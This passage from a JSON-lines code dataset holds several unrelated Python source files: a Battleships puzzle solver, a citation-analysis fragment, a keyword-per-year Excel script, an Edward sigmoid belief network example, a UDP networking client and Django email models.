a=[1,5,3,4,6,2,9]\n# print median(a)\n# print (mean(a))\n# print sum(a)\n# print max(a)\n# print min(a)\n\n\nop1=open(\"1.txt\",\"w\")\nop2=open(\"2.txt\",\"w\")\nop3=open(\"3.txt\",\"w\")\nop4=open(\"4.txt\",\"w\")\n\ndef w(op,l,paper):\n\top.write(str(paper))\n\top.write(\"\\t\")\n\top.write(str(mean(l)))\n\t# op.write(\"\\t\")\n\t# op.write(str(median(l)))\n\t# op.write(\"\\t\")\n\t# op.write(str(max(l)))\n\t# op.write(\"\\t\")\n\t# op.write(str(min(l)))\n\top.write(\"\\n\")\ncount=0\nfor paper in paperCitationCount:\n\tl1=[]\n\tl2=[]\n\tl3=[]\n\tl4=[]\n\tif paperAuthorPC.has_key(paper):\n\t\t# print \"new\",paper,\"::\",paperAuthor[paper],\"->\"\n\t\tfor author in paperAuthorPC[paper]:\n\t\t\t\n\t\t\ttry:\n\t\t\t\tc=0\n\t\t\t\tfor a in paperAuthor[paper]:\n\t\t\t\t\t# print int(a),int(author),a,paper\n\t\t\t\t\t# print a,author\n\t\t\t\t\tc+=1\n\t\t\t\t\tif(c==1):\n\t\t\t\t\t\td=GetShortPath(G1,int(a),int(author))\n\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\tif(d==0):\n\t\t\t\t\tl1.append(paperAuthorPC[paper][author])\n\t\t\t\telif(d==1):\n\t\t\t\t\tl2.append(paperAuthorPC[paper][author])\n\t\t\t\telif(d==2):\n\t\t\t\t\tl3.append(paperAuthorPC[paper][author])\n\t\t\t\telse:\n\t\t\t\t\tif(d>2):\n\t\t\t\t\t\tl4.append(paperAuthorPC[paper][author])\n\t\t\texcept KeyError:\n\t\t\t\tcontinue\n\t\t\texcept IndexError:\n\t\t\t\tcontinue\n\t\t\t\n\t\t# print \"\\n\"\n\t\t#print \"loop\"\n\t\top1.write(str(paper))\n\t\top1.write(\"\\t\")\n\t\top1.write(str(mean(l1)))\n\t\tw(op2,l2,paper)\n\t\tw(op3,l3,paper)\n\t\tw(op4,l4,paper)\n\t\tcount+=1\n\t\tif(count==10):\n\t\t\tbreak\nop1.close()\nop2.close()\nop3.close()\nop4.close()\n\t\t\t\n","sub_path":"feature_creation/16S_PC_analysis_test_2.py","file_name":"16S_PC_analysis_test_2.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"45040338","text":"from enum import Enum\r\nfrom itertools import combinations, product\r\nfrom collections import namedtuple\r\n\r\n\r\nclass FieldType(Enum):\r\n SHIP = 'O'\r\n SEA = '.'\r\n UNKNOWN = 'x'\r\n\r\n def __repr__(self):\r\n return ''.format(name=self.name)\r\n\r\n\r\nDirection = Enum('Direction', 'RIGHT DOWN')\r\nPoint = namedtuple('Point', 'x y')\r\nFieldRange = namedtuple('FieldRange', 'point size direction')\r\n\r\n\r\nclass Board():\r\n def __init__(self, size, playfield, rem_pcs_by_rows, rem_pcs_by_cols):\r\n self.size = size\r\n self.playfield = playfield\r\n self.rem_pcs_by_rows = rem_pcs_by_rows\r\n self.rem_pcs_by_cols = rem_pcs_by_cols\r\n\r\n def getCopy(self):\r\n return Board(\r\n self.size,\r\n [[*row] for row in self.playfield],\r\n [*self.rem_pcs_by_rows],\r\n [*self.rem_pcs_by_cols]\r\n )\r\n\r\n def get_playfield_repr(self, pcs_by_rows=None, pcs_by_cols=None):\r\n if pcs_by_rows is None:\r\n pcs_by_rows = self.rem_pcs_by_rows\r\n if pcs_by_cols is None:\r\n pcs_by_cols = self.rem_pcs_by_cols\r\n\r\n rep = ''\r\n rep += '\\u2550'\r\n for j in range(self.size):\r\n rep += '\\u2550\\u2550\\u2550\\u2550'\r\n rep += '\\n'\r\n for i in range(self.size):\r\n rep += ' '\r\n for j in range(self.size):\r\n rep += str(self.playfield[i][j].value) + ' '\r\n rep += '\\u2551'\r\n rep += '(' + str(pcs_by_rows[i]) + ')'\r\n rep += '\\n'\r\n rep += '\\u2550'\r\n for j in range(self.size):\r\n rep += '\\u2550\\u2550\\u2550\\u2550'\r\n rep += '\\n'\r\n for j in range(self.size):\r\n rep += '(' + str(pcs_by_cols[j]) + ') '\r\n rep += '\\n\\n'\r\n return rep\r\n\r\n def __repr__(self):\r\n return self.get_playfield_repr()\r\n\r\n\r\ndef load_file_data(input_file_uri):\r\n global FLEET\r\n global BOARD_SIZE\r\n global SOLUTION_PCS_BY_ROWS\r\n global SOLUTION_PCS_BY_COLS\r\n global ORIGINAL_BOARD\r\n with open(input_file_uri, \"r\") as file:\r\n mini_fleet_count = int((next(file).split())[0])\r\n for _ in range(mini_fleet_count):\r\n quantity, size = (int(x) for x in next(file).split())\r\n FLEET.append((quantity, size))\r\n FLEET = tuple(FLEET)\r\n BOARD_SIZE = int((next(file).split())[0])\r\n SOLUTION_PCS_BY_ROWS = tuple(int(x) for x in next(file).split())\r\n SOLUTION_PCS_BY_COLS = tuple(int(x) for x in next(file).split())\r\n ORIGINAL_BOARD = tuple(\r\n tuple(\r\n FieldType(x) for x in \" \".join(line).split()\r\n ) for line in file\r\n )\r\n\r\n\r\ndef update_rem_pcs_by_rows_and_cols(board):\r\n for x in range(board.size):\r\n for y in range(board.size):\r\n if ORIGINAL_BOARD[x][y] == FieldType.SHIP:\r\n board.rem_pcs_by_rows[x] -= 1\r\n board.rem_pcs_by_cols[y] -= 1\r\n\r\n\r\ndef mark_sea_by_rows_and_cols_with_zero_remaining_pcs(board):\r\n for i in range(board.size):\r\n if board.rem_pcs_by_rows[i] == 0:\r\n for j in range(board.size):\r\n if board.playfield[i][j] == FieldType.UNKNOWN:\r\n board.playfield[i][j] = FieldType.SEA\r\n if board.rem_pcs_by_cols[i] == 0:\r\n for j in range(board.size):\r\n if board.playfield[j][i] == FieldType.UNKNOWN:\r\n board.playfield[j][i] = FieldType.SEA\r\n\r\n\r\ndef determine_conditions(board):\r\n for x in range(board.size):\r\n for y in range(board.size):\r\n if board.playfield[x][y] == FieldType.SHIP:\r\n create_conditions(\r\n board, x, y, Direction.RIGHT,\r\n min(4, board.rem_pcs_by_rows[x])\r\n )\r\n create_conditions(\r\n board, x, y, Direction.DOWN,\r\n min(4, board.rem_pcs_by_cols[y])\r\n )\r\n\r\n\r\ndef create_conditions(board, x, y, direction, max_ship_size):\r\n for ship_size in range(max_ship_size, 0, -1):\r\n for offset in range(ship_size - 1, -1, -1):\r\n dummy_board = board.getCopy()\r\n dummy_board.playfield[x][y] = FieldType.UNKNOWN\r\n if direction == Direction.RIGHT:\r\n if ship_and_surrounding_sea_placement_is_valid(\r\n dummy_board, x, y - offset, ship_size, direction,\r\n True\r\n ):\r\n create_condition(x, y, offset, ship_size, direction)\r\n elif direction == Direction.DOWN and ship_size > 1:\r\n if ship_and_surrounding_sea_placement_is_valid(\r\n dummy_board, x - offset, y, ship_size, direction,\r\n True\r\n ):\r\n create_condition(x, y, offset, ship_size, direction)\r\n\r\n\r\ndef ship_and_surrounding_sea_placement_is_valid(\r\n board, x, y, ship_size, direction, allow_overlapping_ships\r\n):\r\n if x < 0 or y < 0 or x >= board.size or y >= board.size:\r\n return False\r\n if direction == Direction.RIGHT:\r\n if y + ship_size > board.size:\r\n return False\r\n if ship_size > board.rem_pcs_by_rows[x]:\r\n return False\r\n for i in range(ship_size):\r\n if allow_overlapping_ships:\r\n if board.playfield[x][y+i] == FieldType.SEA:\r\n return False\r\n else:\r\n if board.playfield[x][y+i] != FieldType.UNKNOWN:\r\n return False\r\n if x-1 >= 0 and board.playfield[x-1][y+i] == FieldType.SHIP:\r\n return False\r\n if (\r\n x+1 < board.size and\r\n board.playfield[x+1][y+i] == FieldType.SHIP\r\n ):\r\n return False\r\n if y-1 >= 0:\r\n if x-1 >= 0 and board.playfield[x-1][y-1] == FieldType.SHIP:\r\n return False\r\n if board.playfield[x][y-1] == FieldType.SHIP:\r\n return False\r\n if (\r\n x+1 < board.size and\r\n board.playfield[x+1][y-1] == FieldType.SHIP\r\n ):\r\n return False\r\n if y+ship_size < board.size:\r\n if (\r\n x-1 >= 0 and\r\n board.playfield[x-1][y+ship_size] == FieldType.SHIP\r\n ):\r\n return False\r\n if board.playfield[x][y+ship_size] == FieldType.SHIP:\r\n return False\r\n if (\r\n x+1 < board.size and\r\n board.playfield[x+1][y+ship_size] == FieldType.SHIP\r\n ):\r\n return False\r\n elif direction == Direction.DOWN:\r\n if x+ship_size > board.size:\r\n return False\r\n if ship_size > board.rem_pcs_by_cols[y]:\r\n return False\r\n for i in range(ship_size):\r\n if allow_overlapping_ships:\r\n if board.playfield[x+i][y] == FieldType.SEA:\r\n return False\r\n else:\r\n if board.playfield[x+i][y] != FieldType.UNKNOWN:\r\n return False\r\n if y-1 >= 0 and board.playfield[x+i][y-1] == FieldType.SHIP:\r\n return False\r\n if (\r\n y+1 < board.size and\r\n board.playfield[x+i][y+1] == FieldType.SHIP\r\n ):\r\n return False\r\n if x-1 >= 0:\r\n if y-1 >= 0 and board.playfield[x-1][y-1] == FieldType.SHIP:\r\n return False\r\n if board.playfield[x-1][y] == FieldType.SHIP:\r\n return False\r\n if (\r\n y+1 < board.size and\r\n board.playfield[x-1][y+1] == FieldType.SHIP\r\n ):\r\n return False\r\n if x+ship_size < board.size:\r\n if (\r\n y-1 >= 0 and\r\n board.playfield[x+ship_size][y-1] == FieldType.SHIP\r\n ):\r\n return False\r\n if board.playfield[x+ship_size][y] == FieldType.SHIP:\r\n return False\r\n if (\r\n y+1 < board.size and\r\n board.playfield[x+ship_size][y+1] == FieldType.SHIP\r\n ):\r\n return False\r\n return True\r\n\r\n\r\ndef create_condition(x, y, offset, ship_size, direction):\r\n global CONDITIONS\r\n try:\r\n if CONDITIONS[(x, y)]:\r\n pass\r\n except:\r\n CONDITIONS[(x, y)] = []\r\n finally:\r\n if direction == Direction.RIGHT:\r\n CONDITIONS[(x, y)].append((x, y-offset, ship_size, direction))\r\n elif direction == Direction.DOWN:\r\n CONDITIONS[(x, y)].append((x-offset, y, ship_size, direction))\r\n\r\n\r\ndef condition_set_combinations():\r\n for condition_set in list(product(*list(CONDITIONS.values()))):\r\n yield condition_set\r\n\r\n\r\ndef distinct_used_conditions_sets():\r\n distinct_used_conditions_set = set()\r\n for condition_set in condition_set_combinations():\r\n used_conditions = set()\r\n used_points = set()\r\n for condition in condition_set:\r\n for key in CONDITIONS.keys():\r\n if condition in CONDITIONS[key] and key not in used_points:\r\n used_conditions.add(condition)\r\n used_points.add(key)\r\n distinct_used_conditions_set.add(frozenset(used_conditions))\r\n return distinct_used_conditions_set\r\n\r\n\r\ndef mark_sea_area(board, x, y, length, direction):\r\n if direction == Direction.RIGHT:\r\n if 0 <= x < board.size:\r\n for i in range(length):\r\n if y+i >= 0 and y+i < board.size:\r\n board.playfield[x][y+i] = FieldType.SEA\r\n elif direction == Direction.DOWN:\r\n if 0 <= y < board.size:\r\n for i in range(length):\r\n if x+i >= 0 and x+i < board.size:\r\n board.playfield[x+i][y] = FieldType.SEA\r\n\r\n\r\ndef mark_ship_and_surrounding_sea(board, x, y, ship_size, direction):\r\n if direction == Direction.RIGHT:\r\n for i in range(ship_size):\r\n board.playfield[x][y+i] = FieldType.SHIP\r\n mark_sea_area(board, x-1, y-1, ship_size+2, Direction.RIGHT)\r\n mark_sea_area(board, x+1, y-1, ship_size+2, Direction.RIGHT)\r\n mark_sea_area(board, x, y-1, 1, Direction.RIGHT)\r\n mark_sea_area(board, x, y+ship_size, 1, Direction.RIGHT)\r\n elif direction == Direction.DOWN:\r\n for i in range(ship_size):\r\n board.playfield[x+i][y] = FieldType.SHIP\r\n mark_sea_area(board, x-1, y-1, ship_size+2, Direction.DOWN)\r\n mark_sea_area(board, x-1, y+1, ship_size+2, Direction.DOWN)\r\n mark_sea_area(board, x-1, y, 1, Direction.DOWN)\r\n mark_sea_area(board, x+ship_size, y, 1, Direction.DOWN)\r\n\r\n\r\ndef update_rows_and_cols_pcs_count(board, x, y, ship_size, direction):\r\n if direction == Direction.RIGHT:\r\n board.rem_pcs_by_rows[x] -= ship_size\r\n for i in range(ship_size):\r\n board.rem_pcs_by_cols[y+i] -= 1\r\n elif direction == Direction.DOWN:\r\n board.rem_pcs_by_cols[y] -= ship_size\r\n for i in range(ship_size):\r\n board.rem_pcs_by_rows[x+i] -= 1\r\n\r\n\r\ndef find_solutions(fleet, board):\r\n \"\"\"\r\n ako ima brodova te veličine i ship placement je ok:\r\n ucrtaj brod i okolno more\r\n ažuriraj rem_pcs\r\n smanji broj raspoloživih brodova dotične veličine\r\n inače:\r\n preskoči taj CS\r\n ako CS nije za preskakanje:\r\n potraži mini flotu\r\n \"\"\"\r\n for distinct_condition_set in distinct_used_conditions_sets():\r\n fleet_new = [[*row] for row in fleet]\r\n board_new = board.getCopy()\r\n skip_this_distinct_condition_set = False\r\n for x, y, ship_size, direction in distinct_condition_set:\r\n for mf_index, mini_fleet in enumerate(fleet_new):\r\n if mini_fleet[1] == ship_size:\r\n mini_fleet_index = mf_index\r\n break\r\n if (\r\n fleet_new[mini_fleet_index][0] > 0 and\r\n ship_and_surrounding_sea_placement_is_valid(\r\n board_new, x, y, ship_size, direction, True\r\n )\r\n ):\r\n mark_ship_and_surrounding_sea(\r\n board_new, x, y, ship_size, direction\r\n )\r\n update_rows_and_cols_pcs_count(\r\n board_new, x, y, ship_size, direction\r\n )\r\n mark_sea_by_rows_and_cols_with_zero_remaining_pcs(board_new)\r\n fleet_new[mini_fleet_index][0] -= 1\r\n else:\r\n skip_this_distinct_condition_set = True\r\n if not skip_this_distinct_condition_set:\r\n for mf_index, mini_fleet in enumerate(fleet_new):\r\n if mini_fleet[0] > 0:\r\n mini_fleet_index = mf_index\r\n break\r\n determine_mini_fleet_placement(\r\n fleet_new, board_new, mini_fleet_index\r\n )\r\n\r\n\r\ndef determine_mini_fleet_placement(fleet, board, mini_fleet_index):\r\n for mini_fleet_placement in get_possible_mini_fleet_placements(\r\n fleet, board, mini_fleet_index\r\n ):\r\n placement_is_valid, board_new = (\r\n check_placement(\r\n fleet, board, mini_fleet_index, mini_fleet_placement\r\n )\r\n )\r\n if placement_is_valid:\r\n all_pcs_found = (\r\n max(board_new.rem_pcs_by_rows) == 0 and\r\n max(board_new.rem_pcs_by_cols) == 0\r\n )\r\n if all_pcs_found and mini_fleet_index+1 == len(fleet):\r\n solutions.add(board_new)\r\n \"\"\"\r\n # Print first found solution only\r\n print_board(\r\n board_new, SOLUTION_PCS_BY_ROWS, SOLUTION_PCS_BY_COLS\r\n )\r\n exit()\r\n \"\"\"\r\n elif not all_pcs_found and mini_fleet_index+1 < len(fleet):\r\n determine_mini_fleet_placement(\r\n fleet, board_new, mini_fleet_index+1\r\n )\r\n\r\n\r\ndef get_possible_mini_fleet_placements(fleet, board, mini_fleet_index):\r\n possible_placements = []\r\n ship_qty = fleet[mini_fleet_index][0]\r\n ship_size = fleet[mini_fleet_index][1]\r\n if ship_size == 1:\r\n possible_directions = [Direction.RIGHT]\r\n else:\r\n possible_directions = [Direction.RIGHT, Direction.DOWN]\r\n for x, y, direction in product(\r\n range(board.size), range(board.size), possible_directions\r\n ):\r\n if (\r\n ship_and_surrounding_sea_placement_is_valid(\r\n board, x, y, ship_size, direction, False\r\n ) and enough_remaining_pcs_by_rows_and_cols(\r\n board, x, y, ship_size, direction\r\n )\r\n ):\r\n possible_placements.append((x, y, direction))\r\n return combinations(possible_placements, ship_qty)\r\n\r\n\r\ndef check_placement(\r\n fleet, board, mini_fleet_index, mini_fleet_placement\r\n):\r\n board_new = board.getCopy()\r\n ship_size = fleet[mini_fleet_index][1]\r\n for x, y, direction in mini_fleet_placement:\r\n if (\r\n ship_and_surrounding_sea_placement_is_valid(\r\n board_new, x, y, ship_size, direction, False\r\n ) and enough_remaining_pcs_by_rows_and_cols(\r\n board_new, x, y, ship_size, direction\r\n )\r\n ):\r\n mark_ship_and_surrounding_sea(\r\n board_new, x, y, ship_size, direction\r\n )\r\n update_rows_and_cols_pcs_count(\r\n board_new, x, y, fleet[mini_fleet_index][1], direction\r\n )\r\n mark_sea_by_rows_and_cols_with_zero_remaining_pcs(board_new)\r\n else:\r\n return False, board_new\r\n if (\r\n min(board_new.rem_pcs_by_rows) < 0 or\r\n min(board_new.rem_pcs_by_cols) < 0\r\n ):\r\n return False, board_new\r\n return True, board_new\r\n\r\n\r\ndef enough_remaining_pcs_by_rows_and_cols(board, x, y, ship_size, direction):\r\n if direction == Direction.RIGHT:\r\n if ship_size > board.rem_pcs_by_rows[x]:\r\n return False\r\n for i in range(ship_size):\r\n if board.rem_pcs_by_cols[y+i] < 1:\r\n return False\r\n return True\r\n elif direction == Direction.DOWN:\r\n if ship_size > board.rem_pcs_by_cols[y]:\r\n return False\r\n for i in range(ship_size):\r\n if board.rem_pcs_by_rows[x+i] < 1:\r\n return False\r\n return True\r\n\r\n\r\nif __name__ == \"__main__\":\r\n FLEET = []\r\n BOARD_SIZE = 0\r\n SOLUTION_PCS_BY_ROWS = ()\r\n SOLUTION_PCS_BY_COLS = ()\r\n ORIGINAL_BOARD = []\r\n CONDITIONS = {}\r\n solutions = set()\r\n load_file_data(\"../tests/samples/board2.txt\")\r\n fleet = [[*row] for row in FLEET]\r\n playfield = [[*row] for row in ORIGINAL_BOARD]\r\n rem_pcs_by_rows = [*SOLUTION_PCS_BY_ROWS]\r\n rem_pcs_by_cols = [*SOLUTION_PCS_BY_COLS]\r\n board = Board(BOARD_SIZE, playfield, rem_pcs_by_rows, rem_pcs_by_cols)\r\n update_rem_pcs_by_rows_and_cols(board)\r\n mark_sea_by_rows_and_cols_with_zero_remaining_pcs(board)\r\n board.rem_pcs_by_rows = [*SOLUTION_PCS_BY_ROWS]\r\n board.rem_pcs_by_cols = [*SOLUTION_PCS_BY_COLS]\r\n determine_conditions(board)\r\n find_solutions(fleet, board)\r\n for solution in solutions:\r\n print(\r\n solution.get_playfield_repr(\r\n SOLUTION_PCS_BY_ROWS, SOLUTION_PCS_BY_COLS\r\n )\r\n )\r\n if len(solutions) > 0:\r\n print(\"{count} solutions in total.\".format(count=len(solutions)))\r\n","sub_path":"Battleships/Battleships/battleships4.py","file_name":"battleships4.py","file_ext":"py","file_size_in_byte":17601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"500987004","text":"import os\nimport pandas as pd\nimport numpy as np\nimport xlsxwriter\nworkbook = xlsxwriter.Workbook('./saved_result/keyword_per_year.xlsx')\nworksheet = workbook.add_worksheet()\n\n#import list to use\ndf1 = pd.read_excel('./saved_result/keyword_list(63).xlsx',header=None)\ndf2 = pd.read_excel('./saved_result/year_list.xlsx',header=None)\nlist_keyword = df1.values.tolist()\nlist_year = df2.values.tolist()\n\n#import data(combined)\n#df = pd.read_excel(r'D:/dataset/PUBMED/Combining_Data.xlsx')\ndf = pd.read_excel('./keys_per_year/keyword_year1.xlsx')\n\n# print(len(list_keyword))\n# print(len(list_year))\n# print(pd.DataFrame(df))\n\n# make dictionary\na = {}\n\n#len(df)\nfor i in range(1):\n print(list_keyword[i][0].encode(\"utf-8\"))\n list_temp = list_keyword[i][0].encode(\"utf-8\")\n key = list_temp\n a.setdefault(key,[])\n for row in range(df.shape[0]):\n for col in range(df.shape[1]):\n if df.get_value(row,col) == list_temp: # compare keyword and whole file\n year = df.iloc[row,1]\n a[key].append(year) # save years in dictionary with key(keyword)\n break\n print(a)\n\n\nrow = 0\ncol = 0\nfor keyword in a.keys():\n worksheet.write(row, col, keyword)\n for item in a[keyword]:\n worksheet.write(row, col, keyword)\n worksheet.write(row, col+1, item)\n row += 1\nworkbook.close()\n","sub_path":"Count_keyword_peryear.py","file_name":"Count_keyword_peryear.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"202079497","text":"#!/usr/bin/env python\n\"\"\"Sigmoid belief network (Neal, 1990) trained on the Caltech 101\nSilhouettes data set.\n\nDefault settings take ~143s / epoch on a Titan X (Pascal). Results on\nepoch 100:\nTraining negative log-likelihood: 209.443\nTest negative log-likelihood: 161.244\n\nUsing n_train_samples=50 converges to test NLL of 157.824.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport edward as ed\nimport numpy as np\nimport os\nimport tensorflow as tf\n\nfrom edward.models import Bernoulli\nfrom edward.util import Progbar\nfrom observations import caltech101_silhouettes\nfrom scipy.misc import imsave\n\n\ndef generator(array, batch_size):\n \"\"\"Generate batch with respect to array's first axis.\"\"\"\n start = 0 # pointer to where we are in iteration\n while True:\n stop = start + batch_size\n diff = stop - array.shape[0]\n if diff <= 0:\n batch = array[start:stop]\n start += batch_size\n else:\n batch = np.concatenate((array[start:], array[:diff]))\n start = diff\n yield batch\n\n\ned.set_seed(42)\n\ndata_dir = \"/tmp/data\"\nout_dir = \"/tmp/out\"\nif not os.path.exists(out_dir):\n os.makedirs(out_dir)\nbatch_size = 24 # batch size during training\nhidden_sizes = [300, 100, 50, 10] # hidden size per layer from bottom-up\nn_train_samples = 10 # number of samples for training via stochastic gradient\nn_test_samples = 1000 # number of samples to calculate test log-lik\nstep_size = 1e-3 # learning rate step size\n\n# DATA\n(x_train, _), (x_test, _), (x_valid, _) = caltech101_silhouettes(data_dir)\nx_train_generator = generator(x_train, batch_size)\nx_ph = tf.placeholder(tf.int32, [None, 28 * 28])\n\n# MODEL\nzs = [0] * len(hidden_sizes)\nfor l in reversed(range(len(hidden_sizes))):\n if l == len(hidden_sizes) - 1:\n logits = tf.zeros([tf.shape(x_ph)[0], hidden_sizes[l]])\n else:\n logits = tf.layers.dense(tf.cast(zs[l + 1], tf.float32),\n hidden_sizes[l], activation=None)\n zs[l] = Bernoulli(logits=logits)\n\nx = Bernoulli(logits=tf.layers.dense(tf.cast(zs[0], tf.float32),\n 28 * 28, activation=None))\n\n# INFERENCE\n# Define variational model with reverse ordering as probability model:\n# if p is 15-100-300 from top-down, q is 300-100-15 from bottom-up.\nqzs = [0] * len(hidden_sizes)\nfor l in range(len(hidden_sizes)):\n if l == 0:\n logits = tf.layers.dense(tf.cast(x_ph, tf.float32),\n hidden_sizes[l], activation=None)\n else:\n logits = tf.layers.dense(tf.cast(qzs[l - 1], tf.float32),\n hidden_sizes[l], activation=None)\n qzs[l] = Bernoulli(logits=logits)\n\ninference = ed.KLqp({z: qz for z, qz in zip(zs, qzs)}, data={x: x_ph})\noptimizer = tf.train.AdamOptimizer(step_size)\ninference.initialize(optimizer=optimizer, n_samples=n_train_samples)\n\n# Build tensor for log-likelihood given one variational sample to run\n# on test data.\nx_post = ed.copy(x, {z: qz for z, qz in zip(zs, qzs)})\nx_neg_log_prob = -tf.reduce_sum(x_post.log_prob(x_ph)) / \\\n tf.cast(tf.shape(x_ph)[0], tf.float32)\n\nsess = ed.get_session()\ntf.global_variables_initializer().run()\n\nn_epoch = 100\nn_iter_per_epoch = 10000\nfor epoch in range(n_epoch):\n print(\"Epoch {}\".format(epoch))\n train_loss = 0.0\n\n pbar = Progbar(n_iter_per_epoch)\n for t in range(1, n_iter_per_epoch + 1):\n pbar.update(t)\n x_batch = next(x_train_generator)\n info_dict = inference.update(feed_dict={x_ph: x_batch})\n train_loss += info_dict['loss']\n\n # Print per-data point loss, averaged over training epoch.\n train_loss = train_loss / n_iter_per_epoch\n train_loss = train_loss / batch_size\n print(\"Training negative log-likelihood: {:0.3f}\".format(train_loss))\n\n test_loss = [sess.run(x_neg_log_prob, {x_ph: x_test})\n for _ in range(n_test_samples)]\n test_loss = np.mean(test_loss)\n print(\"Test negative log-likelihood: {:0.3f}\".format(test_loss))\n\n # Prior predictive check.\n images = sess.run(x, {x_ph: x_batch}) # feed ph to determine sample size\n for m in range(batch_size):\n imsave(\"{}/{}.png\".format(out_dir, m), images[m].reshape(28, 28))\n","sub_path":"ExtraSensory/edward/examples/sigmoid_belief_network.py","file_name":"sigmoid_belief_network.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"610434782","text":"from endpoint import *\n\nclass Client(Endpoint):\n\tdef __init__(self):\n\t\tsuper(Client, self).__init__()\n\t\tself.is_connected = False\n\t\tself.largestPacket = 0\n\t\tself.packetsReceived = 0\n\t\t\n\tdef connect(self, addr):\n\t\tself.is_connected = False\n\t\tself.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\tself.sock.setblocking(False)\n\t\tself.addr = addr\n\t\tself.send(PacketID.CONNECT, reliable=True)\n\t\t\n\tdef reconnect(self):\n\t\tself.is_connected = False\n\t\tself.send(PacketID.CONNECT, reliable=True)\n\t\t\n\tdef shutdown(self):\n\t\tif self.is_connected:\n\t\t\tself.disconnect()\n\t\t\tself.is_connected = False\n\t\t\tlog('Received %s packets, largest was %s bytes' % (self.packetsReceived, self.largestPacket))\n\t\t\n\t@property\t\n\tdef port(self):\n\t\treturn self.sock.getsockname()[1]\n\t\t\n\tdef receiveOne(self):\n\t\ttry:\n\t\t\twhile True:\n\t\t\t\tdata, addr = self.sock.recvfrom(MTU)\n\t\t\t\t\n\t\t\t\tif self.is_connected and addr != self.addr:\n\t\t\t\t\tcontinue #log('Bad packet addr %s, should be %s' % (addr, self.addr))\n\t\t\t\t\t\n\t\t\t\tself.packetsReceived += 1\n\t\t\t\tself.largestPacket = max(self.largestPacket, len(data))\n\t\t\t\tp = RawPacket(data, addr)\n\t\t\t\tself.lastPacketReceivedTime = get_time()\n\t\t\t\t\n\t\t\t\tif p.id == PacketID.ACK:\n\t\t\t\t\tself.handleACK(p.data)\n\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\tif p.reliable:\n\t\t\t\t\tself.receivedUIDs.append(p.uid)\n\t\t\t\t\n\t\t\t\tif p.id == PacketID.CONNECT:\n\t\t\t\t\tself.is_connected = True\n\t\t\t\t\tself.addr = addr\n\t\t\t\treturn p\n\t\texcept socket.error:\n\t\t\tpass\n\t\t\n\tdef receive(self):\n\t\tself.update()\n\t\t\n\t\tpackets = []\n\t\tp = self.receiveOne()\n\t\twhile p is not None:\n\t\t\tpackets.append(p)\n\t\t\tp = self.receiveOne()\n\t\t\t\n\t\tif self.is_connected and not self.is_alive():\n\t\t\tself.shutdown()\n\t\t\tp = RawPacket(sender=self.addr)\n\t\t\tp.id = PacketID.TIMEOUT\n\t\t\tpackets.append(p)\n\t\treturn packets\n","sub_path":"sgl/network/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"385337065","text":"import os\nfrom smtplib import SMTPException\nimport logging\n\nfrom django.db import models\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.core.mail import EmailMultiAlternatives, get_connection\n\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.template.defaultfilters import strip_tags\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass Message(models.Model):\n subject = models.CharField(_('subject'), max_length=255)\n recipients = models.TextField(_('recipients'))\n content = models.TextField(_('content'))\n reply_to = models.CharField(_('reply to'), max_length=255)\n created = models.DateTimeField(_('created'), auto_now_add=True)\n sent = models.BooleanField(_('sent'), default=False)\n postdate = models.DateTimeField(_('postdate'), null=True, blank=True)\n send_immediately = models.BooleanField(default=True)\n\n class Meta:\n app_label = 'emails'\n ordering = ('-created',)\n verbose_name = _('message')\n verbose_name_plural = _('messages')\n\n def __str__(self):\n return self.subject\n\n def send(self, connection=None, logger=None):\n if not logger:\n logger = logging.getLogger(__name__)\n msg = EmailMultiAlternatives(\n subject=self.subject,\n body=strip_tags(self.content),\n from_email=settings.DEFAULT_FROM_EMAIL,\n to=self.recipients.split(','),\n reply_to=self.reply_to.split(','),\n connection=connection\n )\n msg.attach_alternative(self.content, 'text/html')\n try:\n msg.send()\n self.sent = True\n self.postdate = timezone.now()\n self.save()\n return True\n except (SMTPException, os.error) as e:\n logger.error(\n 'Error while sending email (pk: {}): {}'.format(self.pk, e)\n )\n return False\n\n @classmethod\n def send_awaiting(cls, limit=10):\n awaiting = cls.objects.filter(sent=False).order_by('created')\n sent = 0\n failed = 0\n connection = get_connection()\n logger = logging.getLogger(__name__)\n for msg in awaiting:\n if sent >= limit:\n break\n success = msg.send(connection=connection, logger=logger)\n if success:\n sent += 1\n else:\n failed += 1\n print('Sent: {}\\r\\nFailed: {}\\r\\nStill awaiting: {}'.format(\n sent, failed, len(awaiting) - sent\n ))\n connection.close()\n\n\n@receiver(post_save, sender=Message)\ndef create_message_hook(sender, instance, created, **kwargs):\n if created and instance.send_immediately:\n instance.send()\n\n\nclass MassMessage(models.Model):\n subject = models.CharField(_('subject'), max_length=255)\n recipients = models.ManyToManyField(\n settings.AUTH_USER_MODEL, verbose_name=_('recipients')\n )\n content = models.TextField(_('content'))\n reply_to = models.CharField(_('reply to'), max_length=255)\n created = models.DateTimeField(_('created'), auto_now_add=True)\n sent = models.BooleanField(_('sent'), default=False)\n postdate = models.DateTimeField(_('postdate'), null=True, blank=True)\n\n class Meta:\n app_label = 'emails'\n ordering = ('-created',)\n verbose_name = _('mass message')\n verbose_name_plural = _('mass messages')\n\n def __str__(self):\n return self.subject\n","sub_path":"cms/emails/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"497352959","text":"import matplotlib.pyplot as plt\n\nx = [2,4,6,8,10]\ny = [5,8,4,2,3]\n\nx2 = [1,3,5,7,9]\ny2 = 